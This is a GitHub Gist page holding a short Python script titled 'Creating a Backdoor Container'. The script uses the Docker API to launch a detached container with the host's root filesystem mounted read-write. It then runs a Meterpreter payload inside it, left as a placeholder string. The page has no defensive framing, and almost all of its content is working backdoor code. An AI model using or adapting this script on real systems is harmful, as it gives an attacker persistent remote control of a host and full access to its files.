Created
June 20, 2019 14:03
-
-
Save pasknel/4ae73732ebe574fa180626b4a35c424f to your computer and use it in GitHub Desktop.
Creating a Backdoor Container
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import docker | |
client = docker.from_env() | |
payload = "INSERT PYTHON METERPRETER PAYLOAD HERE" | |
cmd = 'python -c "{0}"'.format(payload) | |
volumes = { | |
'/': { | |
'bind': '/host', | |
'mode': 'rw' | |
} | |
} | |
backdoor = client.containers.run('python', volumes = volumes, detach = True, tty = True) | |
print backdoor.exec_run(cmd) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment